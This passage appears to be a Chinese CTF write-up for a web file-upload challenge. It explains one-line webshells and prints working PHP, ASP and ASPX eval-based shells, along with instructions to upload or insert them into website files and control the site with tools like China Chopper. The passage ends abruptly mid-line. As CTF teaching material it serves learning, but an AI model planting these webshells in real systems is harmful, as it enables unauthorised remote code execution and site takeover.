“百度杯”CTF比赛 九月场--web Upload
基础知识
1、什么是一句话木马?
最简单的理解就是,一句话木马上传到网站后台,然后我们可以通过提交参数等的方式去获取shell,比如拿菜刀或者蚁剑等工具。比如下面这段php一句话木马:
<?php @eval($_POST['key']) ?>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘key’]表示从页面中获得key这个参数值。
其中,只要攻击者满足三个条件,就能实现成功入侵:
- 木马上传成功,未被杀;
- 知道木马的路径在哪;
- 上传的木马能正常运行。
常见的一句话木马有:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
2、一句话木马的简要原理
首先我们先看一个原始而又简单的php一句话木马:
<?php @eval